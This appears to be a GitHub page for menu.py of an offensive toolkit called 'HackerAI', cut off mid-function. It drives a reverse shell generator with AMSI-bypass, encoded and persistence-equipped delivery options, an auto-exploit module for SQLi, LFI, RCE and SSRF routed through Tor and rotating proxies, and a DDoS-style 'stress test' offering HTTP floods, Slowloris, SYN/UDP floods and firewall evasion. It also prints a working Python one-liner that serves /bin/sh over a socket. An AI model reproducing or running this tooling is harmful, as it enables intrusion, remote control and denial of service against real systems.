-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmenu.py
More file actions
1119 lines (944 loc) Β· 47.6 KB
/
menu.py
File metadata and controls
1119 lines (944 loc) Β· 47.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
HackerAI - Advanced Menu System
Updated for Async Stress Tester and New Features
"""
import asyncio
import time
import json
import os
import sys
from config import *
from proxy_manager import AdvancedProxyManager
from utils import clean, get_local_ip
class MenuSystem:
def __init__(self):
self.proxy_manager = AdvancedProxyManager()
self.running = True
self.current_version = "v3.0 ADVANCED"
def display_banner(self):
"""Display enhanced banner"""
clean()
banner = f"""{R}
ββββ¬ βββββββ¬βββββ ββββ¬
β βββ β ββ βββ¬βββ€ β β
β© β΄βββββββββ΄βββββ ββββ΄ββ
{G}βββββββββββββββββββββββββββββββββββββββββ{W}
{C}Version: {self.current_version} | Async Engine Enabled{W}
{Y}Ethical Hacking & Security Assessment Tool{W}
{R}βββββββββββββββββββββββββββββββββββββββββ{W}"""
print(banner)
def view_report_enhanced(self):
"""Enhanced report viewer with export options"""
clean()
self.display_banner()
if not os.path.exists(REPORT_FILE):
print(f"\n{Y}[!] No report file found.{W}")
print(f"{C}[*] Reports are saved in: {REPORT_FILE}{W}")
input(f"\n{Y}Press Enter to return...{W}")
return
try:
with open(REPORT_FILE, 'r', encoding='utf-8') as f:
data = json.load(f)
print(f"\n{G}{'='*60}{W}")
print(f"{C} SCAN REPORT SUMMARY{W}")
print(f"{G}{'='*60}{W}")
if not data:
print(f"{Y}[!] Report file is empty{W}")
input(f"\n{Y}Press Enter to return...{W}")
return
total_targets = len(data)
total_findings = 0
finding_types = {}
print(f"\n{Y}[+] Latest Scans:{W}")
print(f"{C}{'-'*50}{W}")
for idx, (target, scans) in enumerate(list(data.items())[-5:], 1):
target_findings = sum(len(f) for f in scans.values())
print(f"{G}{idx}. {target[:50]}{W}")
print(f" ββ Findings: {target_findings} | Scans: {len(scans)}")
total_findings += target_findings
for scan_type, findings in scans.items():
if scan_type not in finding_types:
finding_types[scan_type] = 0
finding_types[scan_type] += len(findings)
print(f"\n{G}{'='*60}{W}")
print(f"{C}[*] Statistics:{W}")
print(f"{C} Total targets scanned: {total_targets}{W}")
print(f"{C} Total findings: {total_findings}{W}")
if finding_types:
print(f"{C} Finding types distribution:{W}")
for ftype, count in finding_types.items():
percentage = (count / total_findings * 100) if total_findings > 0 else 0
bar = "β" * int(percentage / 5)
print(f" {ftype:20} {count:4} {bar}")
print(f"\n{Y}[?] Options:{W}")
print(f" {G}[1]{W} View detailed report for a target")
print(f" {G}[2]{W} Export report to text file")
print(f" {G}[3]{W} Export report to JSON")
print(f" {G}[4]{W} Clear all reports")
print(f" {G}[0]{W} Return to main menu")
choice = input(f"\n{Y}Select option: {W}").strip()
if choice == '1':
self._view_detailed_report(data)
elif choice == '2':
self._export_report_txt(data)
elif choice == '3':
self._export_report_json(data)
elif choice == '4':
self._clear_reports(data)
except json.JSONDecodeError:
print(f"{R}[!] Error reading report file (invalid JSON){W}")
except Exception as e:
print(f"{R}[!] Error reading report: {e}{W}")
input(f"\n{Y}Press Enter to return...{W}")
def _view_detailed_report(self, data):
"""View detailed report for a specific target"""
print(f"\n{Y}Available targets:{W}")
targets = list(data.keys())
for i, target in enumerate(targets, 1):
print(f" {G}[{i}]{W} {target[:60]}")
try:
choice = input(f"\n{Y}Select target (1-{len(targets)}): {W}").strip()
if choice.isdigit() and 1 <= int(choice) <= len(targets):
target = targets[int(choice)-1]
scans = data[target]
print(f"\n{G}{'='*60}{W}")
print(f"{C}Detailed Report for: {target}{W}")
print(f"{G}{'='*60}{W}")
for scan_type, findings in scans.items():
print(f"\n{Y}[+] {scan_type.upper()} ({len(findings)} findings){W}")
print(f"{C}{'-'*40}{W}")
for i, finding in enumerate(findings[:10], 1):
print(f"\n{G}{i}.{W}")
for key, value in finding.items():
if isinstance(value, str):
if len(value) > 100:
value = value[:100] + "..."
print(f" {C}{key}:{W} {value}")
if i >= 10 and len(findings) > 10:
print(f"\n{Y}[*] Showing 10 of {len(findings)} findings...{W}")
break
except:
pass
input(f"\n{Y}Press Enter to continue...{W}")
def _export_report_txt(self, data):
"""Export report to text file"""
timestamp = int(time.time())
export_file = f"report_export_{timestamp}.txt"
try:
with open(export_file, 'w', encoding='utf-8') as f:
f.write("=" * 70 + "\n")
f.write("HackerAI Security Scan Report\n")
f.write(f"Generated: {time.strftime('%Y-%m-%d %H:%M:%S')}\n")
f.write("=" * 70 + "\n\n")
for target, scans in data.items():
f.write(f"Target: {target}\n")
f.write("-" * 50 + "\n")
for scan_type, findings in scans.items():
f.write(f"\n{scan_type.upper()} ({len(findings)} findings):\n")
f.write("~" * 40 + "\n")
for i, finding in enumerate(findings, 1):
f.write(f"\n{i}. ")
for key, value in finding.items():
if isinstance(value, str) and len(value) > 100:
value = value[:100] + "..."
f.write(f"{key}: {value} | ")
f.write("\n\n")
f.write("=" * 70 + "\n\n")
print(f"\n{G}[+] Report exported to: {export_file}{W}")
print(f"{C}[*] Total size: {os.path.getsize(export_file)} bytes{W}")
except Exception as e:
print(f"{R}[!] Error exporting report: {e}{W}")
def _export_report_json(self, data):
"""Export report to JSON file"""
timestamp = int(time.time())
export_file = f"report_export_{timestamp}.json"
try:
with open(export_file, 'w', encoding='utf-8') as f:
json.dump(data, f, indent=2, ensure_ascii=False)
print(f"\n{G}[+] JSON report exported to: {export_file}{W}")
print(f"{C}[*] Total size: {os.path.getsize(export_file)} bytes{W}")
except Exception as e:
print(f"{R}[!] Error exporting JSON report: {e}{W}")
def _clear_reports(self, data):
"""Clear all reports with confirmation"""
print(f"\n{R}{'!'*60}{W}")
print(f"{R}[!] WARNING: This will delete ALL scan reports!{W}")
confirm = input(f"{Y}Type 'DELETE' to confirm: {W}").strip()
if confirm == "DELETE":
try:
backup_file = f"report_backup_{int(time.time())}.json"
with open(backup_file, 'w', encoding='utf-8') as f:
json.dump(data, f, indent=2)
os.remove(REPORT_FILE)
print(f"{G}[+] All reports cleared{W}")
print(f"{C}[*] Backup saved to: {backup_file}{W}")
except Exception as e:
print(f"{R}[!] Error clearing reports: {e}{W}")
else:
print(f"{Y}[*] Operation cancelled{W}")
input(f"\n{Y}Press Enter to continue...{W}")
def reverse_shell_generator_advanced(self):
"""Advanced reverse shell generator"""
clean()
self.display_banner()
print(f"\n{G}{'='*60}{W}")
print(f"{C} ADVANCED REVERSE SHELL GENERATOR{W}")
print(f"{G}{'='*60}{W}")
global LHOST, LPORT
current_lhost = LHOST
current_lport = LPORT
print(f"\n{Y}Current Settings:{W}")
print(f"{C}LHOST: {W}{current_lhost}")
print(f"{C}LPORT: {W}{current_lport}")
print(f"\n{Y}Configure Settings (press Enter to keep current):{W}")
new_lhost = input(f"{C}Enter LHOST [{current_lhost}]: {W}").strip()
new_lport = input(f"{C}Enter LPORT [{current_lport}]: {W}").strip()
if new_lhost:
LHOST = new_lhost
current_lhost = new_lhost
if new_lport and new_lport.isdigit():
LPORT = int(new_lport)
current_lport = int(new_lport)
try:
from reverse_shell import AdvancedReverseShellGenerator
gen = AdvancedReverseShellGenerator(current_lhost, current_lport)
except ImportError:
from reverse_shell import ReverseShellGenerator
gen = ReverseShellGenerator(current_lhost, current_lport)
print(f"\n{G}[*] Generating Reverse Shells...{W}")
print(f"{Y}{'-'*60}{W}")
shells = gen.generate_all()
categories = {
"Linux/Unix Shells": ["bash", "python", "python3", "perl", "nc", "socat", "awk", "telnet"],
"Windows Shells": ["powershell", "cmd", "powershell_amsi", "powershell_encoded"],
"Web Shells": ["php", "jsp", "asp"],
"Database Shells": ["mysql", "postgresql"],
"Encoded Shells": ["base64_encoded", "xor_encrypted"],
"Advanced Shells": ["bash_fileless", "bash_sudo"]
}
for category, shell_list in categories.items():
print(f"\n{BL}[ {category} ]{W}")
print(f"{Y}{'-'*40}{W}")
for name in shell_list:
if name in shells:
print(f"\n{C}[{name.upper()}]{W}")
# Display compact version
shell_text = shells[name]
if isinstance(shell_text, dict):
shell_text = shell_text.get('decoder', str(shell_text))
if len(shell_text) > 80:
print(f"{G}{shell_text[:80]}...{W}")
else:
print(f"{G}{shell_text}{W}")
# Show one-liner if available
try:
one_liners = gen.generate_one_liner(name)
if one_liners:
for enc_type, cmd in one_liners.items():
if enc_type != "original":
print(f" {M}[{enc_type}] {cmd[:60]}...{W}")
except:
pass
# Save to file
timestamp = int(time.time())
save_file = f"reverse_shells_{timestamp}.txt"
try:
with open(save_file, 'w', encoding='utf-8') as f:
f.write(f"{'='*60}\n")
f.write(f"Reverse Shell Collection\n")
f.write(f"Generated: {time.ctime()}\n")
f.write(f"LHOST: {current_lhost}, LPORT: {current_lport}\n")
f.write(f"{'='*60}\n\n")
for category, shell_list in categories.items():
f.write(f"\n[{category}]\n")
f.write("-" * 40 + "\n")
for name in shell_list:
if name in shells:
f.write(f"\n[{name.upper()}]\n")
shell_text = shells[name]
if isinstance(shell_text, dict):
shell_text = shell_text.get('decoder', str(shell_text))
f.write(f"{shell_text}\n")
try:
one_liners = gen.generate_one_liner(name)
if one_liners:
f.write("\nEncoded versions:\n")
for enc_type, cmd in one_liners.items():
if enc_type != "original":
f.write(f" [{enc_type}] {cmd}\n")
except:
pass
print(f"\n{G}[+] Shells saved to: {save_file}{W}")
except Exception as e:
print(f"{R}[!] Error saving file: {e}{W}")
# Quick listener setup
print(f"\n{Y}[*] Quick Listener Commands:{W}")
print(f"{C}{'-'*50}{W}")
print(f"{G}Netcat:{W} nc -nlvp {current_lport}")
print(f"{G}Socat:{W} socat file:`tty`,raw,echo=0 TCP-LISTEN:{current_lport}")
print(f"{G}Python:{W} python -c 'import socket,subprocess,os;s=socket.socket();s.bind((\"\",{current_lport}));s.listen(1);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'")
# Interactive handler option
print(f"\n{Y}[*] Interactive Handler:{W}")
print(f"{C}[1] Start interactive handler (background){W}")
print(f"{C}[2] Generate delivery package{W}")
print(f"{C}[3] Create web delivery server{W}")
handler_choice = input(f"\n{Y}Select option (1-3 or Enter to skip): {W}").strip()
if handler_choice == '1':
try:
if gen.start_interactive_handler(background=True):
print(f"{G}[+] Interactive handler started on port {current_lport}{W}")
print(f"{C}[*] Type 'sessions' in shell to view active connections{W}")
except Exception as e:
print(f"{R}[!] Failed to start handler: {e}{W}")
elif handler_choice == '2':
try:
package = gen.generate_delivery_package('bash', include_persistence=True)
if package:
package_file = f"delivery_package_{timestamp}.json"
with open(package_file, 'w') as f:
json.dump(package, f, indent=2)
print(f"{G}[+] Delivery package saved to: {package_file}{W}")
except Exception as e:
print(f"{R}[!] Failed to generate package: {e}{W}")
elif handler_choice == '3':
try:
if gen.create_web_delivery('bash', port=8080):
print(f"{G}[+] Web delivery server started on port 8080{W}")
except Exception as e:
print(f"{R}[!] Failed to start web server: {e}{W}")
input(f"\n{Y}Press Enter to return to menu...{W}")
def auto_exploit_interface(self):
"""Auto-exploit interface with enhanced options"""
clean()
self.display_banner()
print(f"\n{G}{'='*60}{W}")
print(f"{C} AUTO-EXPLOIT MODULE{W}")
print(f"{G}{'='*60}{W}")
target = input(f"\n{Y}Vulnerable URL (with http:// or https://): {W}").strip()
if not target.startswith(('http://', 'https://')):
print(f"{Y}[*] Adding http:// prefix{W}")
target = 'http://' + target
print(f"\n{C}[1] SQL Injection (SQLi){W}")
print(f"{C}[2] LFI (Local File Inclusion){W}")
print(f"{C}[3] XSS (Cross-Site Scripting){W}")
print(f"{C}[4] Command Injection{W}")
print(f"{C}[5] RCE (Remote Code Execution){W}")
print(f"{C}[6] Path Traversal{W}")
print(f"{C}[7] SSRF (Server-Side Request Forgery){W}")
exp_type = input(f"\n{Y}Exploit type (1-7): {W}").strip()
vuln_types = {
'1': 'SQLi', '2': 'LFI', '3': 'XSS', '4': 'Command Injection',
'5': 'RCE', '6': 'Path Traversal', '7': 'SSRF'
}
vuln_type = vuln_types.get(exp_type, 'SQLi')
payload = input(f"{Y}Vulnerable parameter/value (e.g., id=1 or /etc/passwd): {W}").strip()
if not payload:
print(f"{R}[!] No payload provided{W}")
input(f"\n{Y}Press Enter to return...{W}")
return
print(f"\n{Y}[?] Advanced Options:{W}")
print(f" {G}[1]{W} Use proxy rotation")
print(f" {G}[2]{W} Use Tor network")
print(f" {G}[3]{W} Use random user agents")
print(f" {G}[4]{W} Use delay between requests")
print(f" {G}[5]{W} Use all options")
print(f" {G}[0]{W} Default (no advanced options)")
adv_choice = input(f"\n{Y}Select option: {W}").strip()
use_proxy = adv_choice in ['1', '5']
use_tor = adv_choice in ['2', '5']
use_random_ua = adv_choice in ['3', '5']
use_delay = adv_choice in ['4', '5']
if use_proxy:
print(f"{C}[*] Enabling proxy rotation{W}")
self.proxy_manager.toggle_proxy_rotation()
if use_tor:
print(f"{C}[*] Enabling Tor network{W}")
self.proxy_manager.toggle_tor()
try:
from auto_exploit import AdvancedAutoExploit
exploit = AdvancedAutoExploit(
target_url=target,
vuln_type=vuln_type,
payload=payload,
proxy_manager=self.proxy_manager if use_proxy else None,
random_user_agent=use_random_ua,
delay=0.5 if use_delay else 0,
obfuscation_level="medium"
)
print(f"\n{Y}[*] Starting exploitation...{W}")
result = exploit.run_exploit()
except ImportError as e:
print(f"{R}[!] Error importing AdvancedAutoExploit: {e}{W}")
# Fallback to legacy version
try:
from auto_exploit import AutoExploit
exploit = AutoExploit(
target_url=target,
vuln_type=vuln_type,
payload=payload,
proxy_manager=self.proxy_manager if use_proxy else None
)
print(f"\n{Y}[*] Starting exploitation (legacy mode)...{W}")
result = exploit.run_exploit()
except ImportError as e2:
print(f"{R}[!] Failed to load any exploit module: {e2}{W}")
result = {"success": False, "error": "Module import failed"}
# Cleanup
if use_proxy and self.proxy_manager.use_proxy_rotation:
self.proxy_manager.toggle_proxy_rotation()
if use_tor and self.proxy_manager.use_tor:
self.proxy_manager.toggle_tor()
# Display results
if result.get('success'):
print(f"\n{G}[+] Exploitation successful!{W}")
if 'results' in result:
print(f"{C}[*] Type: {result.get('type', 'Unknown')}{W}")
if 'os' in result.get('results', {}):
print(f"{C}[*] OS Detected: {result['results']['os']}{W}")
if 'files' in result.get('results', {}):
print(f"{C}[*] Files extracted: {len(result['results']['files'])}{W}")
else:
print(f"\n{R}[-] Exploitation failed{W}")
if 'error' in result:
print(f"{Y}[*] Error: {result['error']}{W}")
input(f"\n{Y}Press Enter to return...{W}")
def settings_menu(self):
"""Enhanced settings menu"""
while True:
clean()
self.display_banner()
global THREADS, LHOST, LPORT, TIMEOUT
proxy_status = f"{G}ON{W}" if self.proxy_manager.use_proxy_rotation else f"{R}OFF{W}"
tor_status = f"{G}ON{W}" if self.proxy_manager.use_tor else f"{R}OFF{W}"
stealth_status = f"{G}ON{W}" if self.proxy_manager.stealth_mode else f"{R}OFF{W}"
print(f"\n{G}{'='*60}{W}")
print(f"{C} SETTINGS MENU{W}")
print(f"{G}{'='*60}{W}")
print(f"\n{C}[1] Network Settings{W}")
print(f" ββ Proxy Rotation: {proxy_status}")
print(f" ββ Tor Network: {tor_status}")
print(f" ββ Stealth Mode: {stealth_status}")
print(f" ββ Threads: {THREADS}")
print(f" ββ Timeout: {TIMEOUT}s")
print(f"\n{C}[2] Reverse Shell Settings{W}")
print(f" ββ LHOST: {LHOST}")
print(f" ββ LPORT: {LPORT}")
print(f"\n{C}[3] Proxy Management{W}")
print(f" ββ Refresh proxy list")
print(f" ββ View active proxies")
print(f" ββ Test proxy anonymity")
print(f" ββ View proxy stats")
print(f"\n{C}[4] Tool Configuration{W}")
print(f" ββ Default scan depth: 3")
print(f" ββ Report auto-save: ON")
print(f" ββ Color scheme: ENABLED")
print(f"\n{C}[0] Back to Main Menu{W}")
choice = input(f"\n{Y}Select option: {W}").strip()
if choice == '1':
self._network_settings()
elif choice == '2':
self._shell_settings()
elif choice == '3':
self._proxy_management()
elif choice == '4':
self._tool_configuration()
elif choice == '0':
break
def _network_settings(self):
"""Network settings submenu"""
clean()
global THREADS, TIMEOUT
print(f"\n{G}{'='*60}{W}")
print(f"{C} NETWORK SETTINGS{W}")
print(f"{G}{'='*60}{W}")
print(f"\n{C}[1] Toggle Proxy Rotation (Current: {self.proxy_manager.use_proxy_rotation}){W}")
print(f"{C}[2] Toggle Tor Network (Current: {self.proxy_manager.use_tor}){W}")
print(f"{C}[3] Toggle Stealth Mode (Current: {self.proxy_manager.stealth_mode}){W}")
print(f"{C}[4] Set Thread Count (Current: {THREADS}){W}")
print(f"{C}[5] Set Timeout (Current: {TIMEOUT}s){W}")
print(f"{C}[6] Set Custom Proxy List{W}")
print(f"{C}[0] Back{W}")
choice = input(f"\n{Y}Select option: {W}").strip()
if choice == '1':
self.proxy_manager.toggle_proxy_rotation()
status = "ON" if self.proxy_manager.use_proxy_rotation else "OFF"
print(f"{G}[+] Proxy rotation is now {status}{W}")
time.sleep(1)
elif choice == '2':
self.proxy_manager.toggle_tor()
status = "ON" if self.proxy_manager.use_tor else "OFF"
print(f"{G}[+] Tor network is now {status}{W}")
time.sleep(1)
elif choice == '3':
self.proxy_manager.toggle_stealth_mode()
status = "ON" if self.proxy_manager.stealth_mode else "OFF"
print(f"{G}[+] Stealth mode is now {status}{W}")
time.sleep(1)
elif choice == '4':
new_threads = input(f"{C}Enter thread count [{THREADS}]: {W}").strip()
if new_threads.isdigit():
THREADS = int(new_threads)
print(f"{G}[+] Threads set to: {THREADS}{W}")
time.sleep(1)
elif choice == '5':
new_timeout = input(f"{C}Enter timeout in seconds [{TIMEOUT}]: {W}").strip()
if new_timeout.isdigit():
TIMEOUT = int(new_timeout)
print(f"{G}[+] Timeout set to: {TIMEOUT}s{W}")
time.sleep(1)
elif choice == '6':
proxy_list = input(f"{C}Enter proxy list (comma-separated): {W}").strip()
if proxy_list:
proxies = [p.strip() for p in proxy_list.split(',')]
self.proxy_manager.proxies = proxies
print(f"{G}[+] Added {len(proxies)} proxies to list{W}")
time.sleep(1)
def _shell_settings(self):
"""Reverse shell settings"""
clean()
global LHOST, LPORT
print(f"\n{G}{'='*60}{W}")
print(f"{C} REVERSE SHELL SETTINGS{W}")
print(f"{G}{'='*60}{W}")
print(f"\n{C}[1] Set LHOST (Current: {LHOST}){W}")
print(f"{C}[2] Set LPORT (Current: {LPORT}){W}")
print(f"{C}[3] Auto-detect local IP{W}")
print(f"{C}[4] Test listener setup{W}")
print(f"{C}[0] Back{W}")
choice = input(f"\n{Y}Select option: {W}").strip()
if choice == '1':
new_lhost = input(f"{C}Enter LHOST [{LHOST}]: {W}").strip()
if new_lhost:
LHOST = new_lhost
print(f"{G}[+] LHOST set to: {LHOST}{W}")
time.sleep(1)
elif choice == '2':
new_lport = input(f"{C}Enter LPORT [{LPORT}]: {W}").strip()
if new_lport.isdigit():
LPORT = int(new_lport)
print(f"{G}[+] LPORT set to: {LPORT}{W}")
time.sleep(1)
elif choice == '3':
local_ip = get_local_ip()
if local_ip:
LHOST = local_ip
print(f"{G}[+] Auto-detected local IP: {local_ip}{W}")
print(f"{C}[*] LHOST updated to: {LHOST}{W}")
else:
print(f"{R}[!] Could not detect local IP{W}")
time.sleep(2)
elif choice == '4':
print(f"\n{Y}[*] Testing listener setup...{W}")
print(f"{C}LHOST: {LHOST}{W}")
print(f"{C}LPORT: {LPORT}{W}")
print(f"{G}[+] Test commands:{W}")
print(f" nc -nlvp {LPORT}")
print(f" python3 -m http.server {LPORT}")
input(f"\n{Y}Press Enter to continue...{W}")
def _proxy_management(self):
"""Proxy management"""
while True:
clean()
print(f"\n{G}{'='*60}{W}")
print(f"{C} PROXY MANAGEMENT{W}")
print(f"{G}{'='*60}{W}")
print(f"\n{C}[1] Refresh proxy list (fetch new proxies){W}")
print(f"{C}[2] View active proxy list{W}")
print(f"{C}[3] Test proxy anonymity{W}")
print(f"{C}[4] View proxy statistics{W}")
print(f"{C}[5] Clear proxy list{W}")
print(f"{C}[6] Rotate Tor identity{W}")
print(f"{C}[0] Back{W}")
choice = input(f"\n{Y}Select option: {W}").strip()
if choice == '1':
print(f"{C}[*] Fetching fresh proxy list...{W}")
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
loop.run_until_complete(self.proxy_manager.fetch_proxies_async())
print(f"{G}[+] Proxy list updated{W}")
time.sleep(1)
elif choice == '2':
if self.proxy_manager.verified_proxies:
print(f"\n{Y}Verified Proxies ({len(self.proxy_manager.verified_proxies)}):{W}")
for i, proxy_info in enumerate(self.proxy_manager.verified_proxies[:10], 1):
proxy = proxy_info.get('proxy', 'N/A')
speed = proxy_info.get('speed', 0)
print(f" {G}[{i}]{W} {proxy} (Speed: {speed}ms)")
if len(self.proxy_manager.verified_proxies) > 10:
print(f" ... and {len(self.proxy_manager.verified_proxies) - 10} more")
else:
print(f"{Y}[!] No verified proxies in list{W}")
input(f"\n{Y}Press Enter to continue...{W}")
elif choice == '3':
print(f"{C}[*] Testing proxy anonymity...{W}")
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
proxy = self.proxy_manager.get_proxy()
if proxy:
loop.run_until_complete(self.proxy_manager.test_proxy_anonymity(proxy))
else:
print(f"{R}[!] No proxy available for testing{W}")
input(f"\n{Y}Press Enter to continue...{W}")
elif choice == '4':
stats = self.proxy_manager.get_stats()
print(f"\n{Y}[*] Proxy Statistics:{W}")
print(f"{C}Total Proxies: {stats['total_proxies']}{W}")
print(f"{C}Verified Proxies: {stats['verified_proxies']}{W}")
print(f"{C}Failed Proxies: {stats['failed_proxies']}{W}")
print(f"{C}User Agents: {stats['user_agents']}{W}")
print(f"{C}Proxy Switches: {stats['statistics']['proxy_switches']}{W}")
print(f"{C}UA Rotations: {stats['statistics']['ua_rotations']}{W}")
input(f"\n{Y}Press Enter to continue...{W}")
elif choice == '5':
confirm = input(f"{R}Clear all proxies? (y/N): {W}").strip().lower()
if confirm == 'y':
self.proxy_manager.proxies = []
self.proxy_manager.verified_proxies = []
print(f"{G}[+] Proxy list cleared{W}")
time.sleep(1)
elif choice == '6':
if self.proxy_manager.use_tor:
if self.proxy_manager.rotate_tor_identity():
print(f"{G}[+] Tor identity rotated{W}")
else:
print(f"{R}[!] Failed to rotate Tor identity{W}")
else:
print(f"{Y}[!] Tor is not enabled{W}")
time.sleep(1)
elif choice == '0':
break
def _tool_configuration(self):
"""Tool configuration"""
print(f"\n{G}{'='*60}{W}")
print(f"{C} TOOL CONFIGURATION{W}")
print(f"{G}{'='*60}{W}")
print(f"\n{Y}Configuration Options:{W}")
print(f" {C}[1]{W} Toggle auto-save reports")
print(f" {C}[2]{W} Set default scan depth")
print(f" {C}[3]{W} Toggle color scheme")
print(f" {C}[4]{W} Set output verbosity")
print(f" {C}[0]{W} Back")
choice = input(f"\n{Y}Select option: {W}").strip()
if choice == '3':
print(f"\n{Y}[*] Color scheme can be modified in config.py{W}")
print(f"{C}[*] Look for these variables:{W}")
print(f" R = '\\033[91m' # Red")
print(f" G = '\\033[92m' # Green")
print(f" Y = '\\033[93m' # Yellow")
input(f"\n{Y}Press Enter to continue...{W}")
def stress_test_advanced_async(self):
"""Async stress test interface - UPDATED VERSION"""
clean()
self.display_banner()
print(f"\n{R}{'!'*60}{W}")
print(f"{R}[!] WARNING: For Authorized Stress Testing Only!{W}")
print(f"{R}{'!'*60}{W}\n")
confirm = input(f"{Y}Do you understand and accept responsibility? (y/N): {W}").strip().lower()
if confirm != 'y':
print(f"{R}[*] Operation cancelled.{W}")
time.sleep(2)
return
target = input(f"{Y}Target URL (with http:// or https://): {W}").strip()
if not target.startswith(('http://', 'https://')):
target = 'http://' + target
duration_input = input(f"{C}Duration in seconds (default 30): {W}").strip()
duration = int(duration_input) if duration_input.isdigit() else 30
concurrency_input = input(f"{C}Concurrency level (default 1000): {W}").strip()
concurrency = int(concurrency_input) if concurrency_input.isdigit() else 1000
print(f"\n{Y}Select Attack Strategy:{W}")
print(f" {G}[1]{W} HTTP Flood (Fast application layer attack)")
print(f" {G}[2]{W} Slowloris Attack (Connection exhaustion)")
print(f" {G}[3]{W} Mixed Attack (HTTP + Slowloris)")
print(f" {G}[4]{W} Intelligent Attack (HTTP/1.1 + HTTP/2 + Cache busting)")
print(f" {G}[5]{W} Distributed Attack (Multi-source simulation)")
print(f" {G}[6]{W} Smart Adaptive Attack (Auto-adjusts based on target)")
print(f" {G}[7]{W} Fragmented Attack (Firewall evasion)")
print(f" {G}[8]{W} Layer 4 Attack (SYN/UDP flood)")
mode = input(f"\n{Y}Select attack type (1-8): {W}").strip()
attack_types = {
'1': 'http',
'2': 'slowloris',
'3': 'mixed',
'4': 'intelligent',
'5': 'distributed',
'6': 'adaptive',
'7': 'fragmented',
'8': 'layer4'
}
attack_type = attack_types.get(mode, 'mixed')
# For distributed attack, configure nodes
distributed_nodes = []
if attack_type == 'distributed':
print(f"\n{Y}Distributed Attack Configuration:{W}")
print(f"{C}[1] Simulate 3 distributed nodes (default){W}")
print(f"{C}[2] Enter custom node IPs{W}")
node_choice = input(f"\n{Y}Select option: {W}").strip()
if node_choice == '2':
nodes_input = input(f"{C}Enter node IPs (comma-separated): {W}").strip()
if nodes_input:
for ip in nodes_input.split(','):
distributed_nodes.append({
'ip': ip.strip(),
'location': 'Custom',
'status': 'active'
})
else:
# Simulate nodes
distributed_nodes = [
{'ip': '192.168.1.100', 'location': 'US-East', 'status': 'active'},
{'ip': '192.168.1.101', 'location': 'EU-West', 'status': 'active'},
{'ip': '192.168.1.102', 'location': 'Asia-Pacific', 'status': 'active'}
]
# Ask for fragmentation
fragment_packets = False
if attack_type in ['fragmented', 'mixed', 'layer4']:
fragment_choice = input(f"{Y}Enable packet fragmentation? (y/N): {W}").strip().lower()
fragment_packets = fragment_choice == 'y'
# Ask for proxy usage
